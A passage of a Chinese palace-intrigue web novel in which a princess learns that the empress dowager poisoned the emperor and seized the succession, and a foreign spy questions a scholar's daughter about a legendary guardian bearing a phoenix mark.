然轩辕玥却怔怔地看着皇后的眼睛,忽然间眼里噙满了泪水,心中亦瞬间似是被什么东西堵住了一般,不得呼吸,一只手握成小拳紧紧地抵在胸前道“其实,当玥儿第一次听闻朝中官员在底下议论,说当年皇爷爷所立下的储位人选本是秦皇叔,秦皇叔才是真正的西秦真命天子的时候,玥儿也像母后现在一样,甚至比母后这个时候更为激动和愤怒,恨不得想要立刻摘下那名大言不惭的臣子的脑袋。可是,

理智驱使着玥儿,告诉玥儿,玥儿不能这样做。”

“为什么?”皇后一脸黯然又不解地问。

轩辕玥认真地看了皇后一眼,继而将头扭向一边幽幽道“因为,玥儿发现,玥儿可以轻而易举便杀掉一个散播谣言的乱臣贼子,但是玥儿却杀不尽,亦堵不眼世人的悠悠之口。”

稍作停顿,轩辕玥吐了口浊气,转过头来问“母后贵为一国之母,儿臣斗胆,请问母后这些年里可曾用心去看看我西秦国的这片大地?又可曾用心去倾听过我西秦子民他们心里的疾苦?”

一边说着,轩辕玥伸手将皇后的一只胳膊搀扶了起来,让其坐回了方才的软榻上,自己亦紧挨着其缓缓坐下,幽幽道“自从皇爷爷离世之后,在我西秦国的这片大地上,每隔三年便会发生一次大规模的天灾。平日里,更是各种战火人祸不断。世人皆称,西秦若不是因为秦皇叔的存在,不仅天灾难防,就连人祸亦将无人能敌。母后,如今的西秦,日渐堪忧啊。”

轩辕玥小小年纪,虽为女儿身,却也不失为皇族之后,自有一种气质与担当于身,任谁也不可否认,见皇后始终都一脸为难,不肯透露半分,她继续心疼地对其兀自说道“且不说这些年来,各地四涌而入的劳民伤财的各战事消耗。仅只西秦国的每次大灾过后,国库哪一次可曾喘过气?而父皇,不竭尽全力地想办法如何帮助百姓度过危难时刻,反而苛捐杂税不减半分,放着置身于水深火热中的子民于不顾,倒是将多数金银用在了追寻永生极乐之上。作为一国之君,不应该是‘先天下之忧而忧,后天下之乐而乐’么?如此这般永无止境地搜刮百姓的民脂民膏,这该让西秦子民们有多痛心啊!”

闻此,皇后终于在自己一片深深的沉思之中,重重地叹了口气,似是已对其所言有些动容。

见此,轩辕玥趁热打铁,继续道“这么多年过去了,难道母后真的看不出,父皇一直对秦皇叔疑心重重,步步压制紧逼。这外忧加内患,西秦的明天又还有何可言?然每每危急的时候,西秦百姓的心里只有在对侵略者的一次又一次挑衅的战场上,以一敌百誓死守护着身后他们家园的西秦战神秦王,只有亲自带领着他们从大灾大难之中一起走过来的西秦秦王。”

稍作停顿,整理好自己激动起伏的内心,轩辕玥再次看着皇后的眼睛,道“母后,长久以往,入不敷出,恶性循环,如此下去,百姓终有一日将流离失所,对朝廷失去信心。到时候,西秦国就真的是国将不国,危在旦夕了!

这时,不知不觉中早已悄悄握手成拳的皇后似是无可奈何地说了句“后宫不得干政,玥儿不会不知。”

“‘后宫不得干

政’这句话,难道就能让西秦国的万千黎民百姓们原谅他们这位贵为一国之母的母后您的职责吗?”

“我……”闻此,皇后似是已无言可辩,却还是一脸难色着,

这时,轩辕玥的语气也渐渐缓和了下来“说真的,有时候儿臣真的希望自己永远都是个什么都不懂的天真孩童,只纯粹地做父皇和母后的掌上明珠。如此,便不会有任何立场矛盾的时候。其实,儿臣也不想看到已渐渐年迈的父皇伤心。可是,儿臣又觉得自己这样自欺欺人,真的太自私了。这对秦皇叔不公平,对西秦的子民亦不公平,他们本应有更好的明君指引,过上更好的日子,秦皇叔本应该毫无羁绊,拥有最大的权利去做这件事情,不是么?”

自从经历了城南之事,轩辕玥心里感受颇多,此时真是太激动了,然皇后却一直都守口如瓶,似是始终都不愿透露出半个字。

无奈,最后,她只能默默地祝福道“无论如何,儿臣一直坚信,终有一日,秦皇叔一定会得到他曾经所失去的一切。母后,儿臣离开西秦后,归期定无期,还望母后一定要善自珍重。”

岂料轩辕玥此话一出,皇后竟突然间开了口“是太后……”

“是皇祖母?母后的意思是……当年皇爷爷立储的对象真的是秦皇叔。”闻此,轩辕玥的眼睛顿时朝着皇后的脸怔呆了。

皇后一边回忆,一边对其缓缓道“当年,母后亦刚入宫与你父皇大婚不久。听闻因为西秦皇族的守护者遗孤,在被送入宫里的途中遭遇不测,坠崖身亡,继而西秦大地上天灾人祸到处四起,百姓民不聊生。你皇爷爷因此才意识到了自己是真的犯下了弥天大错,不该不顾群臣的谏言,这才致使西秦国失去了守护者。”

“原来,世人皆传闻中的西秦天子的守护者竟真的存在着,那后来呢?”轩辕玥惊讶道。

皇后继续道“自此以后,你皇爷爷便终日里郁郁寡欢,知道自己大限将至,便悄悄立下了秦王为储君。可那时,秦王尚且不足十岁,何以堪重任?太后便挑唆重臣,说太妃想借以幼子来垂帘听政,这才说通了你皇爷爷的身前侍从,取得并命人改了你皇爷爷的亲笔御召。同时借以为你皇爷爷祈福之名,将秦王母子支离宫中到了太庙里去。借此机会,在你皇爷爷弥留之际,命太医在你皇爷爷的药汤里加了加了鹤顶红,这便送走了你皇爷爷,你父皇便借此而登基。”

“什么?皇祖母她她竟亲手毒死了皇爷爷,如此大逆不道的事,她竟也敢做,难道就不怕遭天打雷劈么……”轩辕玥一时间里气愤亦甚感恐惧极了,似是都不愿再继续说下去。

“在这个世上,没有太后不

敢做的事情。她对权势的欲望,几近已经是到达了疯狂的境界。母后虽然是她的亲侄女,但也是极怕她的。只要有人拦了她的道,她定不会与其善罢甘休。玥儿答应母后,千万不要去招惹她,她绝对是一个六亲不认的人。”皇后轻抚着轩辕玥的手背,对其叮咛道。

(本章完)

第二百三十九章:色衰而爱驰,爱驰则恩绝

“在这个世上,没有太后不敢做的事情。她对权势的**,几近已经是到达了疯狂的境界。母后虽然是她的亲侄女,但也是极怕她的。只要有人拦了她的道,她定不会与其善罢甘休。儿...答应母后,千万不要去招惹她,她绝对是一个六亲不认的人。”皇后轻抚着轩辕的手背,对其叮咛道。

许久,轩辕的心里似是着实有些不可思议,在自己自小到大的眼里,平日里就知道礼佛不问世事,待人更是亦一向如佛般大慈大悲,慈爱的皇祖母竟会如此狠毒,如果这话不是从自己的生生母后嘴里出来,任谁说,她都是万万不会相信半个字的。

莫非,这就是那种人不犯我我不犯人,人若犯我,我必叫人死无葬身之地的那种人吗?太可怕了,真是太可怕了。

顿时,她只觉这天地之间一片模糊,似是什么都已看不太清楚。

“那太妃的死,难道也是……”思及此,轩辕的眼里满是惊诧地盯视着皇后的脸又问。

皇后蹙起眉头来,叹了口气,幽幽回忆道“那日之事,母后亦不是特别清楚。那日里,太后传召太妃入宫,说要一起去城南城隍庙里为多灾多难的西秦国祈福。母后本应陪同太后一同前往,岂料太后说既然已有太妃相伴,便将母后留在了宫中主事。母后只知,自从你皇爷爷过世之后,太妃因自己未能赶上见你皇爷爷最后一面,整夜整夜地失眠不得安睡。对于却只有她一人为何会那般死沉地葬身于那场大火也是颇为不解。只是听宫人们说,凌晨的那场大火,烧的将整个夜空都似是点亮了一般,最后只剩下一堆白骨……”

轩辕听了,心里在震惊不已的同时亦更加肯定,却似是仍有些不解地道“城隍庙乃皇家寺庙,守卫那般森严,从未出过岔子,想必,那一定便是皇祖母所为了。可那时皇爷爷已去,父皇已经称帝,而皇祖母,她亦已经贵为西秦太后,得到了自己想要的一切,却为什么还要和太妃过不去呢?”

皇后其实这些年以来,心里也一直这样怀疑:这个世上,太后最大也是唯一的眼中钉,肉中刺,除了太妃,怕是再也没有第二个人了。

于是,她心疼又温柔地一边抚着轩辕的一头乌黑亮丽的长发,一边说道“儿,你真的还小。以后,你会慢慢明白:在这个世上,女人与女人之间的斗争从不会因为一方的获胜便停息告终。一切的一切,怪只怪你皇祖母一开始便对你皇爷爷用情太深,寄望太高,可这世间男子薄情汉,又有哪一个曾会从一而终呢?更何况,你皇爷爷他还贵为这个偌大的西秦国的一国之君。当然,还不仅如此,也因为太妃当年同朝中的那些官员一样,持坚决反对的态度,不同意你皇爷爷纳守护者后人为妃。”

“母后的言外之意是说,皇祖母是支持皇爷爷将守护者纳妃的?可母后方才不是刚刚还说过,皇祖母对皇爷爷一往情深吗?那还为何要亲手将其她女子故意往皇爷爷怀里推呢?”轩辕对此纳闷极了。

皇后淡淡又似是无奈地对其笑了笑,停下了手里的动作,最后将目光定在了轩辕一张天真稚嫩,不经世事的

脸上,说道“女人若是一旦对男人绝望而被逼急了,是什么事都做的出来的,正如即使太后再爱这个男人,而最后却也能狠下心来将其亲手送上黄泉之路。正所谓‘色衰而爱驰,爱驰则恩绝’,这个道理,古往今来,恒古不变,皇族尤然。那时的太妃入宫没几年,年轻貌美,深的你皇爷爷盛宠,而太后色衰,自然是望尘莫及。”

说着说着,稍作停顿,却转而露出了一脸严肃继续道“但让太后最害怕的,是太妃诞下的秦王。秦王从小勤于习文练武,文武双全,有勇有谋,甚是拔尖,尽透漏出一股帝王之气。你皇爷爷因此对太妃和秦王母子便更加宠爱和看中,朝中支持太妃和秦王的臣子亦越来越多。你皇祖母那般要强的人,怎能容得下这母子俩人?见其有朝一日定会威胁到自己的后位。于是,便令人全国到处搜罗美人,如此既可以成为自己的羽翼为己所用,又可以分散太妃的势力和恩宠。这才无意中错将守护者后人的美人画像令人献给了你皇爷爷,并教人唆使你皇爷爷将其纳入后宫。”

“什么叫‘无意中错将守护者后人的美人画像令人献给了皇爷爷’?不是相传守护者是专门守护西秦天子的么?为何不是时刻在皇爷爷身边待命,为什么那般神秘呢,似是根本没有人见过其样貌?”轩辕静静地听着,忽然眉头皱了一下,抬起头来疑惑地问。

皇后略作思索,道“西秦守护者非臣非贵族,不受朝廷管束,亦不拿朝廷俸禄,但只要她存在于这个世界的某一个角落,便能与西秦天子发生某种心灵感应来为其设法解除危难,并世代以守护西秦的国运昌盛为已任。只有每一代守护者到了15岁及笄的年纪,便会派人专程进宫送上其画像给当朝皇后,以作不时之需。除了历代皇后,再无人知道守护者的模样。”

“什么?守护者能与天子发生心灵感应,竟如此神奇?”轩辕闻此,惊呆了。

皇后饮了一口茶汤,继而抿起嘴来淡淡地笑了笑,道“嗯,她们乃是一族世世代代里均以单脉相传的人,且都是女子。听闻该族之后人皆都美貌出众,世间无人能敌。‘手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。’简直宛若一个落入凡尘的九天仙女一般。如此这般的美人,就连女子见了都自叹不如,更何况是男子呢!也正是如此,太后错以为那是在民间所寻得的绝世美人,便错将那画像命人呈给了你皇爷爷,这才让已至不惑之年的你的皇爷爷当年似是魔怔了一般,完全不顾朝中群臣的反对与阻挠,一意孤行执意欲纳这张绝世面孔为贵妃。”

“原来是这样……”轩辕终于恍然大悟。

“大错已然铸成,太后也是诚惶诚恐。但让所有人都始料未及的是,守护者后来在被送进宫的半途中,竟遭遇不测,不慎落崖身亡了。果然,接下来的西秦国,正如那几位重臣之前劝阻时的谏言所预料的一样,西秦国失去了守护者,连连接踵而来的天灾**便开始到处肆无忌惮地狂虐开来,势不可挡。”皇后叹气着说道。

认其是守护者的身份呢?”

话至此处,殿内一时间里

一室寂静。

俩人沉默地坐在一起许久,忽然,轩辕瞪着一双乌黑闪亮的美目问皇后,道“母后,那最后一位坠崖而亡的守护者,她叫什么名字?”

“那个可怜的女孩,她叫做‘若曦’,死的时候,只不过才刚刚15岁而已……”皇后深感惋惜地黯然说道。

“那若曦的画像呢?儿想看看她长的什么模样,不是说当年有专人将她的画像送到了宫里给皇祖母吗?那如今,母后才是当朝的一国之母,想必若曦的画像一定在母后这里了吧?”轩辕好奇地又问。

闻此,皇后抬起头来对其缓缓说道“那张画像……自从你皇爷爷看到了以后,便整日里挂在他的寝殿中,睹物思人。后来,守护者坠崖身亡,西秦国灾难不断,他终于意识到自己铸成大错,才使西秦处在了水深火热之中,从此便一病不起,直到后来……。再后来,你父皇,便命人在你皇爷爷的寝殿里翻了个底朝天,才在你皇爷爷的龙榻下将其寻出。却不知怎么的,那张画像独独被人给毁掉了其脸部,无法辨识。你父皇一登大宝,便寻觅了许多身怀绝技的画师欲将其修复,奈何都无人能为之。最后,不得已只得将此画像交给了西秦学院的陆贤,让其慢慢琢磨修复,但是至今亦都还没有任何消息。恐怕是……”

轩辕惊诧道“画像被毁了?这真是太奇怪了。如此重要的画卷,怎么会被毁了呢?……那母后可有曾见过守护者本人或是那张画像,为何不命人再画一张呢?”

“母后当然……当然不曾见过。守护者既然已死,且因一张画像酿成了今日如此之大祸,太后亦不愿再提起,时间久了,她亦只是见过那张画像一眼而已,如今早已记不清了。而且,见过那张画像的人,不知为何,亦后来基本上都已经被你皇爷爷秘密处死了。”皇后的言语里露出一丝诡异。

闻此,轩辕惊的直对着皇后的眼睛目瞪口呆了起来。许久后,兀自喃喃自语道“除了画像,难道就真的没有什么方法能确认守护者吗?”

正在沉思,岂料耳畔忽然飘出一阵皇后低的似是都连自己都听不清的声音来“听闻……每一代守护者身上都有一个单脉相传的凤凰印记,乃是其世代相传的专属印记。”

“‘凤凰印记’?”轩辕提高声音来惊讶道。

皇后对其微微点了点头“母后也是听人说的,不曾亲眼见过。”

“不过话说回来,儿,近日母后听你父皇说,元宵节过后,明日早朝便会决议你究竟是与哪国和亲?若那东宁国三皇子执意不肯的话,怕是你与北烈大皇子的事,便要在所难免了。无论如何,你心里总是提早要有所准备的。做女子难,做皇族的女子更是难上加难,难于上青天。”皇后再次紧握起轩辕的一双白皙嫩滑的玉手,似是握着珍珠宝贝一般地对语重心长却又一脸忧郁地说道。

闻此,轩辕的眉心微微触动着,眼里满是哀伤。似是经历了这许多悲欢离合之后,这个公主真的已经悄悄长大了许多,也让她更清晰地看到:现实,永远似是都让人这般猝不及防,奈何相思总是令人难如意。

第二百四十章:好久不见

溶溶月色连灯市,霭霭春色满夜城,街头灯影逐花影,满城梅香伴酒香,蜃楼海市落星雨,火树银花不夜天。

今夜,大地之上,处处皆是一片欢腾。

西秦国的皇城内,亦自是少不了许多盛大灯会的举行。

夜幕一下,人们便匆匆结束了一餐丰盛的元宵节团圆饭后,将自家的孩童或牵手或架或扛在自己的肩头,再为其挑出一盏颇为满意的花灯来,燃起一支红烛于内,与街坊邻居们三三两两地相邀为伴一起走上街头。

一眼望不到边际的繁华夜市上,人海,灯海汇合成了一条五颜六色沸腾了的海洋。人们似乎永远都总能乐此不疲地流连于这样灯火辉煌,热闹非凡的灯海狂欢夜中。不知不觉中,竟不知连自己也已成了其当中的一道独特风景。

当时间刚好到达午夜时分的时候,人群里忽然出现了一道耀眼的光辉,将这片沸腾了的大地瞬间点化成一片银白色的梦幻世界,恍若白昼一般。此时,所有的风景似是都顿然失色。

人们亦都顿时惊诧的不约而同抬起头来朝其望去,只见一轮又大又圆的月亮高高悬在空中,原是夜空中出现了难得一见的“皓月顶空照”的壮丽天象。

人群里,不知何时起竟渐渐有人传出来说“元宵之夜,‘皓月当空’,预示着来年我西秦国里定有贵人现世,百姓必会得以安居乐业。”

说着说着,传着传着,忽然间所有人都接二连三地跪成一片,无一不俯首对着这轮皓月高声齐呼“贵人现世,天佑西秦,从此风调雨顺,国泰民安。”

然如此喧闹,声势浩大的场景,似乎却根本没有影响到在这街市边上的一条小河边,角落上的一座幽静的凉亭里,一位梨花带雨的温婉女子正趴在亭里的石桌上伤心地抽泣着。

这女子,似是今夜里自始至终唯独都与此情此景最为不和谐的一人。

此刻,只有她对眼前所发生的一切都视若无睹,哪怕是这道极为罕见的点亮了整片黑夜的皓月之光。

女子只顾死死地趴在桌上,一边抽泣着,一边苦道“翰哥哥,对不起,天骄不是故意的,天骄真的不是故意的,你要原谅天骄,一定要原谅天骄!”

忽然,凉亭外出现了一个身材高大、墨发半束、在那皓月之光的照耀下,一袭锦衣白袍,虽脸上显得有些苍白与孱弱,但依旧看得出颇有气质的男子身影。

那男子形单影只地立在一旁沉默着观察打量了这女子许久,方才缓缓踱步走上了石阶进入了凉亭之中,从身上摸出一方男子的帕子来朝着女子面前递了上去,并关切着说道“正月十五乃元宵佳节,本应是邀上自己的意中人开开心心地上街赏月赏花灯才是的好日子,小姐却为何独自一人在此黯然伤心落泪呢?赶快擦擦吧,这若是叫外人看见了该是有多尴尬啊。”

“谁要你多管闲事啊?你是个什么东西?竟敢来此打扰本小姐?”女子闻声,立马止住哭腔抬起头来,又忙用手背抹了一把脸庞的泪水,这才朝男子

扬声呵斥道。

可话音刚落,待其目光一移向男子脸上的轮廓时,女子便瞬间被眼前的来人惊呆了,半晌都说不出话来,待一回神过来,便诧异地问了句“怎么是你?北烈国商人...拓跋...泽?”

“西秦学院陆院长的千金...陆大小姐,好久不见,竟还能记得在下,真是荣幸至极。”男子随即拱手行礼对其问候谢道。

然陆天骄却似是依旧和上次第一次见面一样,不屑地朝其撇了一眼,接着又冷哼了一声,便扭过头去端坐着,不再说话。

“在下发觉,似乎与小姐的每次相遇,小姐都是一筹莫展的样子。请恕在下多嘴,试问小姐今夜又有何伤心为难之事?如此良辰美景,竟也忍心辜负,独自在此难过哭泣呢?莫非又是那位不解风情,不知怜香惜玉的无福之人……”男子一边揣测地说着,竟已似是成为习惯了的在其身边不请自坐了下来。

闻此,陆天骄竟忽然再一次忽的趴在石桌上失声痛哭了起来。

拓跋泽忙将方才那方未递上前去的男人帕子再次拿了出来,岂料陆天骄这次竟然接过还用了起来。或许,这是因为她此时,真的是太孤独,太无助了吧!

陆天骄一边哭,一边说“我不是故意的,我真的不是故意的,我也不想她死,可为什么他就是不相信我呢?甚至连听我亲口对他解释的机会都不给我。”

“陆小姐...陆小姐……”拓跋泽见了,忙朝其伸出一只手去却将其停在半空中,心里最终还是犹豫了一下,方才轻轻地拍了两下陆天骄的背轻轻唤道。

这时,陆天骄忽然出其不意地猛抬起身来,明明是两只十指不沾阳春水的纤纤玉手,却就是用这样的一双手紧紧的攥住拓跋泽的两只结实的臂膀上的衣角,大力地一边摇晃着,一边泪眼婆娑地问他“你相信我吗?你相信我吗?当时我真的不知道那碗燕窝粥里面有迷药,我真的不知道,我真的不知道……”

看到陆天骄此刻的眼里,眼巴巴地包含着的尽是卑微而又可怜的乞求被理解的渴望,拓跋泽对其怔着默了片刻,嘴里清晰地回答了句“我相信你说的,都是真的。”

一时间,陆天骄抑郁纠结了许久的内心似是终于得到了释放,竟又哭又笑地喜极而泣了起来,缓缓松开了附在拓跋泽身上的一双手。

拓跋泽眼睁睁地看着陆天骄的手一点点从自己的胳膊上抽走,最后故作似是一副不忍心的腔调来低声喃喃对其说道“陆小姐,其实,在下这次前来,是特意跟陆小姐道别的...以后,天涯海角,咱们怕是再也见不着了。”

闻此,陆天骄顿时看向拓跋泽的脸,朝其纳闷不解地说道“道别?你不是说你在城南做...做那种生意吗?怎么上次一点儿也没听你说起过,竟如此突然?”

“那个生意经营的本就不好,再加上在下并非西秦本土人士,没有什么背景,就更是难以立足了。如今,为此到处奔走,日夜费心操劳,尽也是白忙活了一场。这不,还将自己的身体也给托

垮了,与其如此苟延残喘着在此艰难度日,不如关门大吉,回国重整旗鼓做些正经的小买卖安然度日也罢。”拓跋泽捎带着咳了几声,故作可怜兮兮道。

闻此,不知为何,陆天骄心中强烈的一股同情心竟油然而生。稍作思量,开口对其说道“公子若是不嫌弃的话,天骄倒是可以找人在西秦帮衬着点公子,不知公子意下如何呢?”

“真的吗?如此,那真是太好了,能得到陆小姐的帮助,在下真是三生有幸啊!”拓跋泽惊的忙起身来朝其拱手致谢道。

说完,俩人一同坐了下来。稍作犹豫,拓跋泽笑着探问“那...不知在下日后若是有需要陆小姐帮忙的话,要去哪里找小姐呢?今夜乃实属有缘才能再见小姐一面。”

“我现在住在秦王府,但是你去王府找我纵然有诸多不便...要不,你将你在皇城的住址告诉我,我可以抽空去找你,如何?”稍作思量,陆天骄建议道。

“好好好,真是太好了。”拓跋泽连连拍手叫好着,便

急急凑到了陆天骄的耳旁,对其耳语起来。

听完后,陆天骄端坐起身来微微朝其点了点头。

沉默了片刻,终于,拓跋泽开口问到了今夜寻来的重点道“听陆小姐所言,似乎小姐与秦王府颇有渊源。不知道,有一件事,陆小姐可曾听说过?”

“什么事?”陆天骄淡淡地问。

浅浅地吸了口气,拓跋泽幽幽道“灵空大陆里,世人皆盛传西秦国有一种神秘力量的守护,却无人知晓此力量究竟为何物?在下想问,不知陆小姐可曾听说过这股神秘力量究竟是什么?”

“原来你想问的是这个?不过,你一个商人问这个做什么?你该不会是...北烈国不怀好意渗入我西秦的细作吧?”陆天骄恍然大悟,缓缓起身来背着他,望着亭边的潺潺流水,说着说着忽然猛地转身过来瞪着拓跋泽的眼睛道。

见此,拓跋泽顿时一愣,稍一回神来,镇定地道“陆小姐何出此言?且看在下如今这一副病入膏肓的羸弱模样,试问,北烈国哪有这般差的细作?”

陆天骄兀自踱步回来拓跋泽的身前,围着其站立的位置慢悠悠地转了一圈,再次仔细地打量了其一番“看你也不像,不过。咱们丑话可都说在前头,若是有朝一日,你被本小姐发现是在骗本小姐的话,本小姐一定会亲手将你碎尸万段。”

“如若真是这样的话,到时候哪还敢劳烦陆小姐亲自动手啊,让您亲手杀在下还怕污了小姐的手呢!如今,陆小姐对在下有再造之恩,在下定当做牛做马来报答陆小姐。”

陆天骄笑了笑“做牛做马就不必了,这些本小姐都不缺,不过,若是有一日,本小姐也需要你帮忙的话……”

尚未待其将话说完,拓跋泽便急急抢过话来道“陆小姐尽管安排,在下一定惟命是从,万死不辞。”

陆天骄掩鼻轻笑一声,道“没那么严重。”

“那不知小姐,是否知道此力量究竟为何物?”

第二百四十一章:女人心,海底针

“那不知陆小姐,是否知道此力量究竟为何物?”拓跋泽眼里满含着热烈的乞盼,渴望地看着眼前的温婉女子,柔声道。

陆天骄沉默了一会儿,神秘地悠悠说道“‘手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。’据说,她是宛若一个落入凡尘的九天仙女一般,就连女子见了都自叹不如,是个拥有绝世容颜的美人儿。”

闻此,拓跋泽蓦然一惊地怔愣住,回想起衣上云曾经在密道里的猜想“这股神秘力量是一个神秘部落的女子,她拥有一把能斩妖除魔的神剑,她的血液拥有神奇的力量,还有一个能创造奇迹的世代相传的圣物。”

继而不禁又失神地望向了另一边,喃喃自语道“竟还真被那个丫头给猜对了,看来,她还真是颇为与众不同,只可惜……”

“怎么?一听到守护者是个绝世美人儿,你的魂便丢了,眼睛也直了不成?”陆天骄看着拓跋泽此时完全一副沉沉入迷的模样,便白了他一眼,侧过身去对其轻蔑地道。

拓跋泽这才急急回过神来,凑到其耳边阿谀奉承道“陆小姐此言差矣,在下怎会是那种以貌取人,见色忘义之徒。况且,在在下的眼里,陆小姐已是拥有这世间最‘沉鱼落雁,闭月羞花’之绝世容颜了,想必再也不会有人比陆小姐更加才貌双全,美若天仙了!”

陆天骄闻之,虽是侧身对其骄傲的一脸不屑于顾之态,然心里却早已是被其言美翻了。

“美是美,只不过…‘自古红颜多薄命’,纵使守护者再美,她也是无福消受这份天赐的容颜,美又有何用?”陆天骄扶了扶耳上的那对赤金镶白玉鱼形耳坠,惋惜地道。

“什么…守护者…她死了?”闻此,拓跋泽瞬间被惊呆了。

自从城南一战,不仅彻底摧毁了他呕心沥血多年以来在西秦国所精心布置的一切,还让他惨遭全军覆没。

好不容易说服了他的皇弟拓跋宏先回国去,帮他在其父皇面前将此事先想办法拖延住,能够让他继续留在西秦国里抢夺那股神秘力量,为其将功赎罪。

其实原本,他已被其说服打算随同其一起回国去的。不料半途中,却忽然想起了陆天骄的存在,想着这个女人身份特殊,一定知道些什么。

这才又折了回来,并绕道先去了西秦学院一趟,方才打听到原来陆天骄年关之前便已至秦王府里暂住。

正当从西秦国由南往东的一路上,乔装打扮着躲避官府追捕的他,愁着怎么才能在这戒备森严的秦王府见到陆天骄本人。

突然一想,今夜元宵佳节,她定会出门赏灯。这不,还真是被他给撞到了。

可此时,却不想,这么快便被得知守护者竟然已经不存在了。莫非这么多年,他在西秦里的一切竟都是白费了?那他还怎么将功赎罪,回去跟他的父皇交待?

‘女人心,海底针’,而在陆天骄的心里,只要是世人眼里

认为比她美好、比她强大的女子,陆天骄心里自是恨不得通通都已经死绝了。可此时话刚出口,一想到面前的人乃是来自外邦之人,她似是心里多多少少又浮起了一丝顾虑。

于是,就在拓跋泽忿忿不平,极不甘心之际,陆天骄继续说道“关于守护者,有人认为她坠崖身亡了,也有人因为未寻到她的尸骨,所以心有不甘,认为她只是失忆忘记了自己的身份,可能流落到了灵空大陆的某一个角落里。”

闻此,拓跋泽竟激动地一把拽住了陆天骄的胳膊,将其整个人都转了过来面朝着自己,继而盯着她的眼睛满含期盼地道“那守护者长的什么模样?可有画像?”

陆天骄显然被其这一举动惊吓了一跳,当即对其厉声呵斥道“你这是做什么?还不快松手!”

“对不起,对不起,在下只是对这个神秘至极的女子太好奇了,小姐莫怪,小姐莫怪。”拓跋泽这才自觉失态,便急急松手,连连对其致歉道。

陆天骄狠狠地瞪了他一眼,兀自整理好自己的衣裳,又默了一会儿,幽幽道“守护者的画像被人给毁了其面容部分,皇上将其交给家父,尚还在修复之中。不过……”

“不过什么?”拓跋泽忙问。

陆天骄道“不过,听闻每一代守护者身上都有一个单脉相传的凤凰印记,乃是其世代相传的专属印记。”

“凤凰印记?”拓跋泽甚感纳闷,默默地重复了一句。

就在俩人都陷入到各自的沉思之际,突然“嘭”的一声,紧接着便犹如天女散花一般,夜空里连连绽放起朵朵绚丽的烟花来。

凉亭里的俩人,亦随着夜空下正欢呼雀跃着的人们一起都顿时不约而同抬起头来朝其望去。

这才发现,原来方才难得一见的“皓月顶空照”的壮丽天象早已不复存在。

取而代之的,则是漫天烟花再一次继续将这片寂静的夜空点亮了起来,人们的脸上亦都洋溢着满满幸福的喜悦之情。

“天骄,天骄……”就在这片颇为壮观的火树银花的照耀下,人群里忽然冒出一位翩翩公子来,那人正在一蹦一跳地朝着凉亭里的温婉女子挥手大声地疾呼着。

拓跋泽正欲再次开口来问些什么,然一眼疾手快地看见人群里那人的影子,便改口急急地向陆天骄拱手行礼告辞道“陆小姐,时辰不早了,在下该回去了,那咱们后会有期!”

“嗯,你先走吧,我还想再在这里独自呆会儿,我会记得去找你的,放心吧。”陆天骄应道。

男子笑着对其点了点头,便急急走下石阶来,朝着街市的另一头走去,很快便消失在茫茫人海当中。

陆天骄侧身站在凉亭里,默默地目送其离去的背影。心中忽然对其油然而生出一种莫名的感觉来。

这种感觉,就像是一个身处在渺无人烟的大漠绝地之中迷失了方向,又被周围那令人窒息的热浪炙烤地奄奄一息。于茫茫无助之间,突然出现

的一个可以慰籍自己心灵的同伴一般。

彼此之间,虽不够熟悉,却足以用寥寥的只字片语,便能让她重新燃起继续振作起来的顽强意志,不至于因此而被沙尘埋没。

就在这时,人群里方才向其招手呼唤的翩翩男子竟不知何时,早已不知不觉地来到她的身后,亦顺着其望去的方向同样凝视了半晌,却似是什么都没有发现。

于是,男子回过神来,继而“啪”的一声,一只骨节分明的大手重重地拍在了陆天骄的肩上。

陆天骄这才急急回过神来,心中随之一震,收回视线,胸中怒火正待发作,一扭头回来却只惊讶地尖叫了一声道“哥哥,怎么是你?你怎么来了?”

原来,此人便是陆天骄的同胞哥哥,陆天麟。

陆天麟并没有急着回答她的疑问,却是先兀自问道“妹妹不是书信回学院说,在秦王府陪伴秦王妃吗?怎么这会儿却一个人在这儿?你在这儿做什么?方才哥哥我可是在那头清清楚楚地看到这亭子里有一个男子身影哦,他是谁?你该不会是……”

随着陆天麟愈来愈没有边际的揣测,陆天骄似是再也听不下去,便急急开口将其打断道“哥哥莫要胡言乱语,想什么呢?那人只不过…只不过是一个问路的外地人而已。”

“外地人?这大过年的,大家不都是与家人一起团圆过年的么,哪有人还会在外面瞎晃悠?”陆天麟纳闷地道。

见他一副不罢不休,非要‘打破沙锅问到底’的架势,今夜里本就心烦气躁着的陆天骄忽然极不耐烦地朝其扬声嚷嚷了起来,道“我说是前来问路的外地人便就是来问路的外地人,你若不信,纵使我怎么说,你亦都不会信。如此,你又何必问我,我又何必再讲。你不也是大过年的,从千里迢迢之外的南部边境赶来皇城的外地人吗?怎么,难道哥哥至今仍是死性不改,‘只许州官放火,不许百姓点灯’?”

看着陆天骄气势汹汹地朝着自己瞪来的一双气焰十足的怒目,陆天麟反而温和地解释说“妹妹,瞧你这话怎么讲的。哥哥怎会是那种人,我和父亲乃都是奉旨进宫参加宫里的元宵节宫宴的。”

闻此,陆天骄脸上的愤怒瞬间转成一副极为惊异的眼神,疑惑地纳闷不解道“奉旨进宫?父亲自从离开朝堂之后,可是很少被传召入宫的。这次,到底又发生了什么事?”

陆天麟忙安慰其道“妹妹不要担心,其实,也没有什么大事。只不过就是皇上借着元宵节宫宴,问父亲关于……”

陆天麟说着说着停了下来,向着陆天骄的耳边凑了凑继续道“问父亲关于守护者画像的还原进度。”

闻此,陆天骄忙问“那现在父亲的进展究竟如何了?”

见陆天麟一直不说话,只是重重地连连叹气,陆天骄虽眼睛一动不动地盯看着他,心却早已乱成了麻,道“还不行?”

陆天麟接着又想了想,似是至今仍有些什么不解的地方……

第二百四十二章:我恨你们

见陆天麟一直不说话,只是重重地连连叹气着,陆天骄虽眼睛一动不动地盯看着他,心却早已乱成了麻,盯视许久后说道“还不行?”

陆天麟兀自又想了想,却似是至今仍有些甚为不解的地方。

凉亭不远处,熙熙攘攘热闹欢腾着的人们,依旧兴致不减半分。而却唯独这两兄妹,站立在一起彼此目视着对方。

月光下,两个一起长大彼此本应熟悉的不能再熟悉,而此刻却又似是如此陌生的身影被拖得无限长。

半晌后,陆天麟犹犹豫豫间,忽然炸出了一句“妹妹,你…你与宫里的那些主子们,没有很熟吧?”

陆天骄闻此,心里忽然咯噔一下,似是瞬间连心跳都停了下来。先是对着陆天麟双眼一怔,继而很快将目光闪躲开来。

